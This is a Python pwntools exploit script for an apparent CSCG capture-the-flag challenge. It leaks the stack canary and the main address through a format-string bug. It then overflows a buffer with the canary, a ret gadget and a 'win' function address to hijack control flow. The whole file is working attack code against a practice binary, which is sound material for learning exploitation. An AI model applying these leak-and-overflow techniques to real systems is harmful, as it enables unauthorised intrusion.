#!/usr/bin/env python3

from pwn import *

format_string = "|".join(["%p" for _ in range(65)])

r = remote("hax1.allesctf.net", 9101)
#r = process("./pwn2")

r.sendline(b"CSCG{NOW_PRACTICE_MORE}")
#r.sendline(b"CSCG{THIS_IS_TEST_FLAG}")

r.sendline(format_string)
leaks = r.recvuntil("enter your magic spell:").decode("utf-8").split("|")

main = int(leaks[43], 16)   # 49 local, 43 remote
canary = int(leaks[38], 16)

log.info(f"main: {hex(main)}")
log.info(f"canary cookie: {hex(canary)}")

padding = b"A" * 251
win = main - 0x24c
ret = win + 0x36

log.info(f"return from WINgardium_leviosa: {hex(ret)}")
log.info(f"WINgardium_leviosa: {hex(win)}")

r.sendline(b"Expelliarmus\x00" + padding + p64(canary) + b"B"*8 + p64(ret) + p64(win))

r.interactive()
